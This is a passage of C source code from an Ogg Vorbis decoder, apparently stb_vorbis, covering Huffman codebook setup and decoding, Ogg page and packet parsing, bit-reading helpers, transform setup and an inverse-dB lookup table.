for(i=0; i < 256; i++) {
for (s=(uint32) i << 24, j=0; j < 8; ++j)
s = (s << 1) ^ (s >= (1U<<31) ? CRC32_POLY : 0);
crc_table[i] = s;
}
}
static __forceinline uint32 crc32_update(uint32 crc, uint8 byte)
{
return (crc << 8) ^ crc_table[byte ^ (crc >> 24)];
}
// used in setup, and for huffman that doesn't go fast path
static unsigned int bit_reverse(unsigned int n)
{
n = ((n & 0xAAAAAAAA) >> 1) | ((n & 0x55555555) << 1);
n = ((n & 0xCCCCCCCC) >> 2) | ((n & 0x33333333) << 2);
n = ((n & 0xF0F0F0F0) >> 4) | ((n & 0x0F0F0F0F) << 4);
n = ((n & 0xFF00FF00) >> 8) | ((n & 0x00FF00FF) << 8);
return (n >> 16) | (n << 16);
}
static float square(float x)
{
return x*x;
}
// this is a weird definition of log2() for which log2(1) = 1, log2(2) = 2, log2(4) = 3
// as required by the specification. fast(?) implementation from stb.h
// @OPTIMIZE: called multiple times per-packet with "constants"; move to setup
static int ilog(int32 n)
{
static signed char log2_4[16] = { 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4 };
if (n < 0) return 0; // signed n returns 0
// 2 compares if n < 16, 3 compares otherwise (4 if signed or n > 1<<29)
if (n < (1 << 14))
if (n < (1 << 4)) return 0 + log2_4[n ];
else if (n < (1 << 9)) return 5 + log2_4[n >> 5];
else return 10 + log2_4[n >> 10];
else if (n < (1 << 24))
if (n < (1 << 19)) return 15 + log2_4[n >> 15];
else return 20 + log2_4[n >> 20];
else if (n < (1 << 29)) return 25 + log2_4[n >> 25];
else return 30 + log2_4[n >> 30];
}
#ifndef M_PI
#define M_PI 3.14159265358979323846264f // from CRC
#endif
// code length assigned to a value with no huffman encoding
#define NO_CODE 255
/////////////////////// LEAF SETUP FUNCTIONS //////////////////////////
//
// these functions are only called at setup, and only a few times
// per file
static float float32_unpack(uint32 x)
{
// from the specification
uint32 mantissa = x & 0x1fffff;
uint32 sign = x & 0x80000000;
uint32 exp = (x & 0x7fe00000) >> 21;
double res = sign ? -(double)mantissa : (double)mantissa;
return (float) ldexp((float)res, exp-788);
}
// zlib & jpeg huffman tables assume that the output symbols
// can either be arbitrarily arranged, or have monotonically
// increasing frequencies--they rely on the lengths being sorted;
// this makes for a very simple generation algorithm.
// vorbis allows a huffman table with non-sorted lengths. This
// requires a more sophisticated construction, since symbols in
// order do not map to huffman codes "in order".
static void add_entry(Codebook *c, uint32 huff_code, int symbol, int count, int len, uint32 *values)
{
if (!c->sparse) {
c->codewords [symbol] = huff_code;
} else {
c->codewords [count] = huff_code;
c->codeword_lengths[count] = len;
values [count] = symbol;
}
}
static int compute_codewords(Codebook *c, uint8 *len, int n, uint32 *values)
{
int i,k,m=0;
uint32 available[32];
memset(available, 0, sizeof(available));
// find the first entry
for (k=0; k < n; ++k) if (len[k] < NO_CODE) break;
if (k == n) { assert(c->sorted_entries == 0); return TRUE; }
// add to the list
add_entry(c, 0, k, m++, len[k], values);
// add all available leaves
for (i=1; i <= len[k]; ++i)
available[i] = 1U << (32-i);
// note that the above code treats the first case specially,
// but it's really the same as the following code, so they
// could probably be combined (except the initial code is 0,
// and I use 0 in available[] to mean 'empty')
for (i=k+1; i < n; ++i) {
uint32 res;
int z = len[i], y;
if (z == NO_CODE) continue;
// find lowest available leaf (should always be earliest,
// which is what the specification calls for)
// note that this property, and the fact we can never have
// more than one free leaf at a given level, isn't totally
// trivial to prove, but it seems true and the assert never
// fires, so!
while (z > 0 && !available[z]) --z;
if (z == 0) { return FALSE; }
res = available[z];
assert(z >= 0 && z < 32);
available[z] = 0;
add_entry(c, bit_reverse(res), i, m++, len[i], values);
// propagate availability up the tree
if (z != len[i]) {
assert(len[i] >= 0 && len[i] < 32);
for (y=len[i]; y > z; --y) {
assert(available[y] == 0);
available[y] = res + (1 << (32-y));
}
}
}
return TRUE;
}
// accelerated huffman table allows fast O(1) match of all symbols
// of length <= STB_VORBIS_FAST_HUFFMAN_LENGTH
static void compute_accelerated_huffman(Codebook *c)
{
int i, len;
for (i=0; i < FAST_HUFFMAN_TABLE_SIZE; ++i)
c->fast_huffman[i] = -1;
len = c->sparse ? c->sorted_entries : c->entries;
#ifdef STB_VORBIS_FAST_HUFFMAN_SHORT
if (len > 32767) len = 32767; // largest possible value we can encode!
#endif
for (i=0; i < len; ++i) {
if (c->codeword_lengths[i] <= STB_VORBIS_FAST_HUFFMAN_LENGTH) {
uint32 z = c->sparse ? bit_reverse(c->sorted_codewords[i]) : c->codewords[i];
// set table entries for all bit combinations in the higher bits
while (z < FAST_HUFFMAN_TABLE_SIZE) {
c->fast_huffman[z] = i;
z += 1 << c->codeword_lengths[i];
}
}
}
}
#ifdef _MSC_VER
#define STBV_CDECL __cdecl
#else
#define STBV_CDECL
#endif
static int STBV_CDECL uint32_compare(const void *p, const void *q)
{
uint32 x = * (uint32 *) p;
uint32 y = * (uint32 *) q;
return x < y ? -1 : x > y;
}
static int include_in_sort(Codebook *c, uint8 len)
{
if (c->sparse) { assert(len != NO_CODE); return TRUE; }
if (len == NO_CODE) return FALSE;
if (len > STB_VORBIS_FAST_HUFFMAN_LENGTH) return TRUE;
return FALSE;
}
// if the fast table above doesn't work, we want to binary
// search them... need to reverse the bits
static void compute_sorted_huffman(Codebook *c, uint8 *lengths, uint32 *values)
{
int i, len;
// build a list of all the entries
// OPTIMIZATION: don't include the short ones, since they'll be caught by FAST_HUFFMAN.
// this is kind of a frivolous optimization--I don't see any performance improvement,
// but it's like 4 extra lines of code, so.
if (!c->sparse) {
int k = 0;
for (i=0; i < c->entries; ++i)
if (include_in_sort(c, lengths[i]))
c->sorted_codewords[k++] = bit_reverse(c->codewords[i]);
assert(k == c->sorted_entries);
} else {
for (i=0; i < c->sorted_entries; ++i)
c->sorted_codewords[i] = bit_reverse(c->codewords[i]);
}
qsort(c->sorted_codewords, c->sorted_entries, sizeof(c->sorted_codewords[0]), uint32_compare);
c->sorted_codewords[c->sorted_entries] = 0xffffffff;
len = c->sparse ? c->sorted_entries : c->entries;
// now we need to indicate how they correspond; we could either
// #1: sort a different data structure that says who they correspond to
// #2: for each sorted entry, search the original list to find who corresponds
// #3: for each original entry, find the sorted entry
// #1 requires extra storage, #2 is slow, #3 can use binary search!
for (i=0; i < len; ++i) {
int huff_len = c->sparse ? lengths[values[i]] : lengths[i];
if (include_in_sort(c,huff_len)) {
uint32 code = bit_reverse(c->codewords[i]);
int x=0, n=c->sorted_entries;
while (n > 1) {
// invariant: sc[x] <= code < sc[x+n]
int m = x + (n >> 1);
if (c->sorted_codewords[m] <= code) {
x = m;
n -= (n>>1);
} else {
n >>= 1;
}
}
assert(c->sorted_codewords[x] == code);
if (c->sparse) {
c->sorted_values[x] = values[i];
c->codeword_lengths[x] = huff_len;
} else {
c->sorted_values[x] = i;
}
}
}
}
// only run while parsing the header (3 times)
static int vorbis_validate(uint8 *data)
{
static uint8 vorbis[6] = { 'v', 'o', 'r', 'b', 'i', 's' };
return memcmp(data, vorbis, 6) == 0;
}
// called from setup only, once per code book
// (formula implied by specification)
static int lookup1_values(int entries, int dim)
{
int r = (int) floor(exp((float) log((float) entries) / dim));
if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning;
++r; // floor() to avoid _ftol() when non-CRT
if (pow((float) r+1, dim) <= entries)
return -1;
if ((int) floor(pow((float) r, dim)) > entries)
return -1;
return r;
}
// called twice per file
static void compute_twiddle_factors(int n, float *A, float *B, float *C)
{
int n4 = n >> 2, n8 = n >> 3;
int k,k2;
for (k=k2=0; k < n4; ++k,k2+=2) {
A[k2 ] = (float) cos(4*k*M_PI/n);
A[k2+1] = (float) -sin(4*k*M_PI/n);
B[k2 ] = (float) cos((k2+1)*M_PI/n/2) * 0.5f;
B[k2+1] = (float) sin((k2+1)*M_PI/n/2) * 0.5f;
}
for (k=k2=0; k < n8; ++k,k2+=2) {
C[k2 ] = (float) cos(2*(k2+1)*M_PI/n);
C[k2+1] = (float) -sin(2*(k2+1)*M_PI/n);
}
}
static void compute_window(int n, float *window)
{
int n2 = n >> 1, i;
for (i=0; i < n2; ++i)
window[i] = (float) sinf(0.5f * M_PI * square((float) sin((i - 0 + 0.5f) / n2 * 0.5f * M_PI)));
}
static void compute_bitreverse(int n, uint16 *rev)
{
int ld = ilog(n) - 1; // ilog is off-by-one from normal definitions
int i, n8 = n >> 3;
for (i=0; i < n8; ++i)
rev[i] = (bit_reverse(i) >> (32-ld+3)) << 2;
}
static int init_blocksize(vorb *f, int b, int n)
{
int n2 = n >> 1, n4 = n >> 2, n8 = n >> 3;
f->A[b] = (float *) setup_malloc(f, sizeof(float) * n2);
f->B[b] = (float *) setup_malloc(f, sizeof(float) * n2);
f->C[b] = (float *) setup_malloc(f, sizeof(float) * n4);
if (!f->A[b] || !f->B[b] || !f->C[b]) return error(f, VORBIS_outofmem);
compute_twiddle_factors(n, f->A[b], f->B[b], f->C[b]);
f->window[b] = (float *) setup_malloc(f, sizeof(float) * n2);
if (!f->window[b]) return error(f, VORBIS_outofmem);
compute_window(n, f->window[b]);
f->bit_reverse[b] = (uint16 *) setup_malloc(f, sizeof(uint16) * n8);
if (!f->bit_reverse[b]) return error(f, VORBIS_outofmem);
compute_bitreverse(n, f->bit_reverse[b]);
return TRUE;
}
static void neighbors(uint16 *x, int n, int *plow, int *phigh)
{
int low = -1;
int high = 65536;
int i;
for (i=0; i < n; ++i) {
if (x[i] > low && x[i] < x[n]) { *plow = i; low = x[i]; }
if (x[i] < high && x[i] > x[n]) { *phigh = i; high = x[i]; }
}
}
// this has been repurposed so y is now the original index instead of y
typedef struct
{
uint16 x,id;
} stbv__floor_ordering;
static int STBV_CDECL point_compare(const void *p, const void *q)
{
stbv__floor_ordering *a = (stbv__floor_ordering *) p;
stbv__floor_ordering *b = (stbv__floor_ordering *) q;
return a->x < b->x ? -1 : a->x > b->x;
}
//
/////////////////////// END LEAF SETUP FUNCTIONS //////////////////////////
#if defined(STB_VORBIS_NO_STDIO)
#define USE_MEMORY(z) TRUE
#else
#define USE_MEMORY(z) ((z)->stream)
#endif
static uint8 get8(vorb *z)
{
if (USE_MEMORY(z)) {
if (z->stream >= z->stream_end) { z->eof = TRUE; return 0; }
return *z->stream++;
}
#ifndef STB_VORBIS_NO_STDIO
{
int c = fgetc(z->f);
if (c == EOF) { z->eof = TRUE; return 0; }
return c;
}
#endif
}
static uint32 get32(vorb *f)
{
uint32 x;
x = get8(f);
x += get8(f) << 8;
x += get8(f) << 16;
x += (uint32) get8(f) << 24;
return x;
}
static int getn(vorb *z, uint8 *data, int n)
{
if (USE_MEMORY(z)) {
if (z->stream+n > z->stream_end) { z->eof = 1; return 0; }
memcpy(data, z->stream, n);
z->stream += n;
return 1;
}
#ifndef STB_VORBIS_NO_STDIO
if (fread(data, n, 1, z->f) == 1)
return 1;
else {
z->eof = 1;
return 0;
}
#endif
}
static void skip(vorb *z, int n)
{
if (USE_MEMORY(z)) {
z->stream += n;
if (z->stream >= z->stream_end) z->eof = 1;
return;
}
#ifndef STB_VORBIS_NO_STDIO
{
long x = ftell(z->f);
fseek(z->f, x+n, SEEK_SET);
}
#endif
}
static int set_file_offset(stb_vorbis *f, unsigned int loc)
{
#ifndef STB_VORBIS_NO_PUSHDATA_API
if (f->push_mode) return 0;
#endif
f->eof = 0;
if (USE_MEMORY(f)) {
if (f->stream_start + loc >= f->stream_end || f->stream_start + loc < f->stream_start) {
f->stream = f->stream_end;
f->eof = 1;
return 0;
} else {
f->stream = f->stream_start + loc;
return 1;
}
}
#ifndef STB_VORBIS_NO_STDIO
if (loc + f->f_start < loc || loc >= 0x80000000) {
loc = 0x7fffffff;
f->eof = 1;
} else {
loc += f->f_start;
}
if (!fseek(f->f, loc, SEEK_SET))
return 1;
f->eof = 1;
fseek(f->f, f->f_start, SEEK_END);
return 0;
#endif
}
static uint8 ogg_page_header[4] = { 0x4f, 0x67, 0x67, 0x53 };
static int capture_pattern(vorb *f)
{
if (0x4f != get8(f)) return FALSE;
if (0x67 != get8(f)) return FALSE;
if (0x67 != get8(f)) return FALSE;
if (0x53 != get8(f)) return FALSE;
return TRUE;
}
#define PAGEFLAG_continued_packet 1
#define PAGEFLAG_first_page 2
#define PAGEFLAG_last_page 4
static int start_page_no_capturepattern(vorb *f)
{
uint32 loc0,loc1,n;
if (f->first_decode && !IS_PUSH_MODE(f)) {
f->p_first.page_start = stb_vorbis_get_file_offset(f) - 4;
}
// stream structure version
if (0 != get8(f)) return error(f, VORBIS_invalid_stream_structure_version);
// header flag
f->page_flag = get8(f);
// absolute granule position
loc0 = get32(f);
loc1 = get32(f);
// @TODO: validate loc0,loc1 as valid positions?
// stream serial number -- vorbis doesn't interleave, so discard
get32(f);
//if (f->serial != get32(f)) return error(f, VORBIS_incorrect_stream_serial_number);
// page sequence number
n = get32(f);
f->last_page = n;
// CRC32
get32(f);
// page_segments
f->segment_count = get8(f);
if (!getn(f, f->segments, f->segment_count))
return error(f, VORBIS_unexpected_eof);
// assume we _don't_ know any the sample position of any segments
f->end_seg_with_known_loc = -2;
if (loc0 != ~0U || loc1 != ~0U) {
int i;
// determine which packet is the last one that will complete
for (i=f->segment_count-1; i >= 0; --i)
if (f->segments[i] < 255)
break;
// 'i' is now the index of the _last_ segment of a packet that ends
if (i >= 0) {
f->end_seg_with_known_loc = i;
f->known_loc_for_packet = loc0;
}
}
if (f->first_decode) {
int i,len;
len = 0;
for (i=0; i < f->segment_count; ++i)
len += f->segments[i];
len += 27 + f->segment_count;
f->p_first.page_end = f->p_first.page_start + len;
f->p_first.last_decoded_sample = loc0;
}
f->next_seg = 0;
return TRUE;
}
static int start_page(vorb *f)
{
if (!capture_pattern(f)) return error(f, VORBIS_missing_capture_pattern);
return start_page_no_capturepattern(f);
}
static int start_packet(vorb *f)
{
while (f->next_seg == -1) {
if (!start_page(f)) return FALSE;
if (f->page_flag & PAGEFLAG_continued_packet)
return error(f, VORBIS_continued_packet_flag_invalid);
}
f->last_seg = FALSE;
f->valid_bits = 0;
f->packet_bytes = 0;
f->bytes_in_seg = 0;
// f->next_seg is now valid
return TRUE;
}
static int maybe_start_packet(vorb *f)
{
if (f->next_seg == -1) {
int x = get8(f);
if (f->eof) return FALSE; // EOF at page boundary is not an error!
if (0x4f != x ) return error(f, VORBIS_missing_capture_pattern);
if (0x67 != get8(f)) return error(f, VORBIS_missing_capture_pattern);
if (0x67 != get8(f)) return error(f, VORBIS_missing_capture_pattern);
if (0x53 != get8(f)) return error(f, VORBIS_missing_capture_pattern);
if (!start_page_no_capturepattern(f)) return FALSE;
if (f->page_flag & PAGEFLAG_continued_packet) {
// set up enough state that we can read this packet if we want,
// e.g. during recovery
f->last_seg = FALSE;
f->bytes_in_seg = 0;
return error(f, VORBIS_continued_packet_flag_invalid);
}
}
return start_packet(f);
}
static int next_segment(vorb *f)
{
int len;
if (f->last_seg) return 0;
if (f->next_seg == -1) {
f->last_seg_which = f->segment_count-1; // in case start_page fails
if (!start_page(f)) { f->last_seg = 1; return 0; }
if (!(f->page_flag & PAGEFLAG_continued_packet)) return error(f, VORBIS_continued_packet_flag_invalid);
}
len = f->segments[f->next_seg++];
if (len < 255) {
f->last_seg = TRUE;
f->last_seg_which = f->next_seg-1;
}
if (f->next_seg >= f->segment_count)
f->next_seg = -1;
assert(f->bytes_in_seg == 0);
f->bytes_in_seg = len;
return len;
}
#define EOP (-1)
#define INVALID_BITS (-1)
static int get8_packet_raw(vorb *f)
{
if (!f->bytes_in_seg) { // CLANG!
if (f->last_seg) return EOP;
else if (!next_segment(f)) return EOP;
}
assert(f->bytes_in_seg > 0);
--f->bytes_in_seg;
++f->packet_bytes;
return get8(f);
}
static int get8_packet(vorb *f)
{
int x = get8_packet_raw(f);
f->valid_bits = 0;
return x;
}
static int get32_packet(vorb *f)
{
uint32 x;
x = get8_packet(f);
x += get8_packet(f) << 8;
x += get8_packet(f) << 16;
x += (uint32) get8_packet(f) << 24;
return x;
}
static void flush_packet(vorb *f)
{
while (get8_packet_raw(f) != EOP);
}
// @OPTIMIZE: this is the secondary bit decoder, so it's probably not as important
// as the huffman decoder?
static uint32 get_bits(vorb *f, int n)
{
uint32 z;
if (f->valid_bits < 0) return 0;
if (f->valid_bits < n) {
if (n > 24) {
// the accumulator technique below would not work correctly in this case
z = get_bits(f, 24);
z += get_bits(f, n-24) << 24;
return z;
}
if (f->valid_bits == 0) f->acc = 0;
while (f->valid_bits < n) {
int z = get8_packet_raw(f);
if (z == EOP) {
f->valid_bits = INVALID_BITS;
return 0;
}
f->acc += z << f->valid_bits;
f->valid_bits += 8;
}
}
if (f->valid_bits < 0) return 0;
z = f->acc & ((1 << n)-1);
f->acc >>= n;
f->valid_bits -= n;
return z;
}
// @OPTIMIZE: primary accumulator for huffman
// expand the buffer to as many bits as possible without reading off end of packet
// it might be nice to allow f->valid_bits and f->acc to be stored in registers,
// e.g. cache them locally and decode locally
static __forceinline void prep_huffman(vorb *f)
{
if (f->valid_bits <= 24) {
if (f->valid_bits == 0) f->acc = 0;
do {
int z;
if (f->last_seg && !f->bytes_in_seg) return;
z = get8_packet_raw(f);
if (z == EOP) return;
f->acc += (unsigned) z << f->valid_bits;
f->valid_bits += 8;
} while (f->valid_bits <= 24);
}
}
enum
{
VORBIS_packet_id = 1,
VORBIS_packet_comment = 3,
VORBIS_packet_setup = 5
};
static int codebook_decode_scalar_raw(vorb *f, Codebook *c)
{
int i;
prep_huffman(f);
if (c->codewords == NULL && c->sorted_codewords == NULL)
return -1;
// cases to use binary search: sorted_codewords && !c->codewords
// sorted_codewords && c->entries > 8
if (c->entries > 8 ? c->sorted_codewords!=NULL : !c->codewords) {
// binary search
uint32 code = bit_reverse(f->acc);
int x=0, n=c->sorted_entries, len;
while (n > 1) {
// invariant: sc[x] <= code < sc[x+n]
int m = x + (n >> 1);
if (c->sorted_codewords[m] <= code) {
x = m;
n -= (n>>1);
} else {
n >>= 1;
}
}
// x is now the sorted index
if (!c->sparse) x = c->sorted_values[x];
// x is now sorted index if sparse, or symbol otherwise
len = c->codeword_lengths[x];
if (f->valid_bits >= len) {
f->acc >>= len;
f->valid_bits -= len;
return x;
}
f->valid_bits = 0;
return -1;
}
// if small, linear search
assert(!c->sparse);
for (i=0; i < c->entries; ++i) {
if (c->codeword_lengths[i] == NO_CODE) continue;
if (c->codewords[i] == (f->acc & ((1 << c->codeword_lengths[i])-1))) {
if (f->valid_bits >= c->codeword_lengths[i]) {
f->acc >>= c->codeword_lengths[i];
f->valid_bits -= c->codeword_lengths[i];
return i;
}
f->valid_bits = 0;
return -1;
}
}
error(f, VORBIS_invalid_stream);
f->valid_bits = 0;
return -1;
}
#ifndef STB_VORBIS_NO_INLINE_DECODE
#define DECODE_RAW(var, f,c) \
if (f->valid_bits < STB_VORBIS_FAST_HUFFMAN_LENGTH) \
prep_huffman(f); \
var = f->acc & FAST_HUFFMAN_TABLE_MASK; \
var = c->fast_huffman[var]; \
if (var >= 0) { \
int n = c->codeword_lengths[var]; \
f->acc >>= n; \
f->valid_bits -= n; \
if (f->valid_bits < 0) { f->valid_bits = 0; var = -1; } \
} else { \
var = codebook_decode_scalar_raw(f,c); \
}
#else
static int codebook_decode_scalar(vorb *f, Codebook *c)
{
int i;
if (f->valid_bits < STB_VORBIS_FAST_HUFFMAN_LENGTH)
prep_huffman(f);
// fast huffman table lookup
i = f->acc & FAST_HUFFMAN_TABLE_MASK;
i = c->fast_huffman[i];
if (i >= 0) {
f->acc >>= c->codeword_lengths[i];
f->valid_bits -= c->codeword_lengths[i];
if (f->valid_bits < 0) { f->valid_bits = 0; return -1; }
return i;
}
return codebook_decode_scalar_raw(f,c);
}
#define DECODE_RAW(var,f,c) var = codebook_decode_scalar(f,c);
#endif
#define DECODE(var,f,c) \
DECODE_RAW(var,f,c) \
if (c->sparse) var = c->sorted_values[var];
#ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK
#define DECODE_VQ(var,f,c) DECODE_RAW(var,f,c)
#else
#define DECODE_VQ(var,f,c) DECODE(var,f,c)
#endif
// CODEBOOK_ELEMENT_FAST is an optimization for the CODEBOOK_FLOATS case
// where we avoid one addition
#define CODEBOOK_ELEMENT(c,off) (c->multiplicands[off])
#define CODEBOOK_ELEMENT_FAST(c,off) (c->multiplicands[off])
#define CODEBOOK_ELEMENT_BASE(c) (0)
static int codebook_decode_start(vorb *f, Codebook *c)
{
int z = -1;
// type 0 is only legal in a scalar context
if (c->lookup_type == 0)
error(f, VORBIS_invalid_stream);
else {
DECODE_VQ(z,f,c);
if (c->sparse) assert(z < c->sorted_entries);
if (z < 0) { // check for EOP
if (!f->bytes_in_seg)
if (f->last_seg)
return z;
error(f, VORBIS_invalid_stream);
}
}
return z;
}
static int codebook_decode(vorb *f, Codebook *c, float *output, int len)
{
int i,z = codebook_decode_start(f,c);
if (z < 0) return FALSE;
if (len > c->dimensions) len = c->dimensions;
#ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK
if (c->lookup_type == 1) {
float last = CODEBOOK_ELEMENT_BASE(c);
int div = 1;
for (i=0; i < len; ++i) {
int off = (z / div) % c->lookup_values;
float val = CODEBOOK_ELEMENT_FAST(c,off) + last;
output[i] += val;
if (c->sequence_p) last = val + c->minimum_value;
div *= c->lookup_values;
}
return TRUE;
}
#endif
z *= c->dimensions;
if (c->sequence_p) {
float last = CODEBOOK_ELEMENT_BASE(c);
for (i=0; i < len; ++i) {
float val = CODEBOOK_ELEMENT_FAST(c,z+i) + last;
output[i] += val;
last = val + c->minimum_value;
}
} else {
float last = CODEBOOK_ELEMENT_BASE(c);
for (i=0; i < len; ++i) {
output[i] += CODEBOOK_ELEMENT_FAST(c,z+i) + last;
}
}
return TRUE;
}
static int codebook_decode_step(vorb *f, Codebook *c, float *output, int len, int step)
{
int i,z = codebook_decode_start(f,c);
float last = CODEBOOK_ELEMENT_BASE(c);
if (z < 0) return FALSE;
if (len > c->dimensions) len = c->dimensions;
#ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK
if (c->lookup_type == 1) {
int div = 1;
for (i=0; i < len; ++i) {
int off = (z / div) % c->lookup_values;
float val = CODEBOOK_ELEMENT_FAST(c,off) + last;
output[i*step] += val;
if (c->sequence_p) last = val;
div *= c->lookup_values;
}
return TRUE;
}
#endif
z *= c->dimensions;
for (i=0; i < len; ++i) {
float val = CODEBOOK_ELEMENT_FAST(c,z+i) + last;
output[i*step] += val;
if (c->sequence_p) last = val;
}
return TRUE;
}
static int codebook_decode_deinterleave_repeat(vorb *f, Codebook *c, float **outputs, int ch, int *c_inter_p, int *p_inter_p, int len, int total_decode)
{
int c_inter = *c_inter_p;
int p_inter = *p_inter_p;
int i,z, effective = c->dimensions;
// type 0 is only legal in a scalar context
if (c->lookup_type == 0) return error(f, VORBIS_invalid_stream);
while (total_decode > 0) {
float last = CODEBOOK_ELEMENT_BASE(c);
DECODE_VQ(z,f,c);
#ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK
assert(!c->sparse || z < c->sorted_entries);
#endif
if (z < 0) {
if (!f->bytes_in_seg)
if (f->last_seg) return FALSE;
return error(f, VORBIS_invalid_stream);
}
// if this will take us off the end of the buffers, stop short!
// we check by computing the length of the virtual interleaved
// buffer (len*ch), our current offset within it (p_inter*ch)+(c_inter),
// and the length we'll be using (effective)
if (c_inter + p_inter*ch + effective > len * ch) {
effective = len*ch - (p_inter*ch - c_inter);
}
#ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK
if (c->lookup_type == 1) {
int div = 1;
for (i=0; i < effective; ++i) {
int off = (z / div) % c->lookup_values;
float val = CODEBOOK_ELEMENT_FAST(c,off) + last;
if (outputs[c_inter])
outputs[c_inter][p_inter] += val;
if (++c_inter == ch) { c_inter = 0; ++p_inter; }
if (c->sequence_p) last = val;
div *= c->lookup_values;
}
} else
#endif
{
z *= c->dimensions;
if (c->sequence_p) {
for (i=0; i < effective; ++i) {
float val = CODEBOOK_ELEMENT_FAST(c,z+i) + last;
if (outputs[c_inter])
outputs[c_inter][p_inter] += val;
if (++c_inter == ch) { c_inter = 0; ++p_inter; }
last = val;
}
} else {
for (i=0; i < effective; ++i) {
float val = CODEBOOK_ELEMENT_FAST(c,z+i) + last;
if (outputs[c_inter])
outputs[c_inter][p_inter] += val;
if (++c_inter == ch) { c_inter = 0; ++p_inter; }
}
}
}
total_decode -= effective;
}
*c_inter_p = c_inter;
*p_inter_p = p_inter;
return TRUE;
}
static int predict_point(int x, int x0, int x1, int y0, int y1)
{
int dy = y1 - y0;
int adx = x1 - x0;
// @OPTIMIZE: force int division to round in the right direction... is this necessary on x86?
int err = abs(dy) * (x - x0);
int off = err / adx;
return dy < 0 ? y0 - off : y0 + off;
}
// the following table is block-copied from the specification
static float inverse_db_table[256] =
{
1.0649863e-07f, 1.1341951e-07f, 1.2079015e-07f, 1.2863978e-07f,
1.3699951e-07f, 1.4590251e-07f, 1.5538408e-07f, 1.6548181e-07f,
1.7623575e-07f, 1.8768855e-07f, 1.9988561e-07f, 2.1287530e-07f,
2.2670913e-07f, 2.4144197e-07f, 2.5713223e-07f, 2.7384213e-07f,
2.9163793e-07f, 3.1059021e-07f, 3.3077411e-07f, 3.5226968e-07f,
3.7516214e-07f, 3.9954229e-07f, 4.2550680e-07f, 4.5315863e-07f,
4.8260743e-07f, 5.1396998e-07f, 5.4737065e-07f, 5.8294187e-07f,
6.2082472e-07f, 6.6116941e-07f, 7.0413592e-07f, 7.4989464e-07f,
7.9862701e-07f, 8.5052630e-07f, 9.0579828e-07f, 9.6466216e-07f,
1.0273513e-06f, 1.0941144e-06f, 1.1652161e-06f, 1.2409384e-06f,
1.3215816e-06f, 1.4074654e-06f, 1.4989305e-06f, 1.5963394e-06f,
1.7000785e-06f, 1.8105592e-06f, 1.9282195e-06f, 2.0535261e-06f,
2.1869758e-06f, 2.3290978e-06f, 2.4804557e-06f, 2.6416497e-06f,
2.8133190e-06f, 2.9961443e-06f, 3.1908506e-06f, 3.3982101e-06f,
3.6190449e-06f, 3.8542308e-06f, 4.1047004e-06f, 4.3714470e-06f,
4.6555282e-06f, 4.9580707e-06f, 5.2802740e-06f, 5.6234160e-06f,
5.9888572e-06f, 6.3780469e-06f, 6.7925283e-06f, 7.2339451e-06f,
7.7040476e-06f, 8.2047000e-06f, 8.7378876e-06f, 9.3057248e-06f,
9.9104632e-06f, 1.0554501e-05f, 1.1240392e-05f, 1.1970856e-05f,
1.2748789e-05f, 1.3577278e-05f, 1.4459606e-05f, 1.5399272e-05f,
1.6400004e-05f, 1.7465768e-05f, 1.8600792e-05f, 1.9809576e-05f,
2.1096914e-05f, 2.2467911e-05f, 2.3928002e-05f, 2.5482978e-05f,
2.7139006e-05f, 2.8902651e-05f, 3.0780908e-05f, 3.2781225e-05f,
3.4911534e-05f, 3.7180282e-05f, 3.9596466e-05f, 4.2169667e-05f,
4.4910090e-05f, 4.7828601e-05f, 5.0936773e-05f, 5.4246931e-05f,
5.7772202e-05f, 6.1526565e-05f, 6.5524908e-05f, 6.9783085e-05f,
7.4317983e-05f, 7.9147585e-05f, 8.4291040e-05f, 8.9768747e-05f,
9.5602426e-05f, 0.00010181521f, 0.00010843174f, 0.00011547824f,
0.00012298267f, 0.00013097477f, 0.00013948625f, 0.00014855085f,
0.00015820453f, 0.00016848555f, 0.00017943469f, 0.00019109536f,
0.00020351382f, 0.00021673929f, 0.00023082423f, 0.00024582449f,
0.00026179955f, 0.00027881276f, 0.00029693158f, 0.00031622787f,
0.00033677814f, 0.00035866388f, 0.00038197188f, 0.00040679456f,
0.00043323036f, 0.00046138411f, 0.00049136745f, 0.00052329927f,
0.00055730621f, 0.00059352311f, 0.00063209358f, 0.00067317058f,
0.00071691700f, 0.00076350630f, 0.00081312324f, 0.00086596457f,
0.00092223983f, 0.00098217216f, 0.0010459992f, 0.0011139742f,
0.0011863665f, 0.0012634633f, 0.0013455702f, 0.0014330129f,
0.0015261382f, 0.0016253153f, 0.0017309374f, 0.0018434235f,
0.0019632195f, 0.0020908006f, 0.0022266726f, 0.0023713743f,
0.0025254795f, 0.0026895994f, 0.0028643847f, 0.0030505286f,
0.0032487691f, 0.0034598925f, 0.0036847358f, 0.0039241906f,
0.0041792066f, 0.0044507950f, 0.0047400328f, 0.0050480668f,
0.0053761186f, 0.0057254891f, 0.0060975636f, 0.0064938176f,
0.0069158225f, 0.0073652516f, 0.0078438871f, 0.0083536271f,
0.0088964928f, 0.009474637f, 0.010090352f, 0.010746080f,
0.011444421f, 0.012188144f, 0.012980198f, 0.013823725f,
0.014722068f, 0.015678791f, 0.016697687f, 0.017782797f,
0.018938423f, 0.020169149f, 0.021479854f, 0.022875735f,
0.024362330f, 0.025945531f, 0.027631618f, 0.029427276f,
0.031339626f, 0.033376252f, 0.035545228f, 0.037855157f,
0.040315199f, 0.042935108f, 0.045725273f, 0.048696758f,
0.051861348f, 0.055231591f, 0.058820850f, 0.062643361f,
0.066714279f, 0.071049749f, 0.075666962f, 0.080584227f,
0.085821044f, 0.091398179f, 0.097337747f, 0.10366330f,
0.11039993f, 0.11757434f, 0.12521498f, 0.13335215f,
0.14201813f, 0.15124727f, 0.16107617f, 0.17154380f,
0.18269168f, 0.19456402f, 0.20720788f, 0.22067342f,
0.23501402f, 0.25028656f, 0.26655159f, 0.28387361f,
0.30232132f, 0.32196786f, 0.34289114f, 0.36517414f,
0.38890521f, 0.41417847f, 0.44109412f, 0.46975890f,
0.50028648f, 0.53279791f, 0.56742212f, 0.60429640f,
0.64356699f, 0.68538959f, 0.72993007f, 0.77736504f,
0.82788260f, 0.88168307f, 0.9389798f, 1.0f
};
// @OPTIMIZE: if you want to replace this bresenham line-drawing routine,
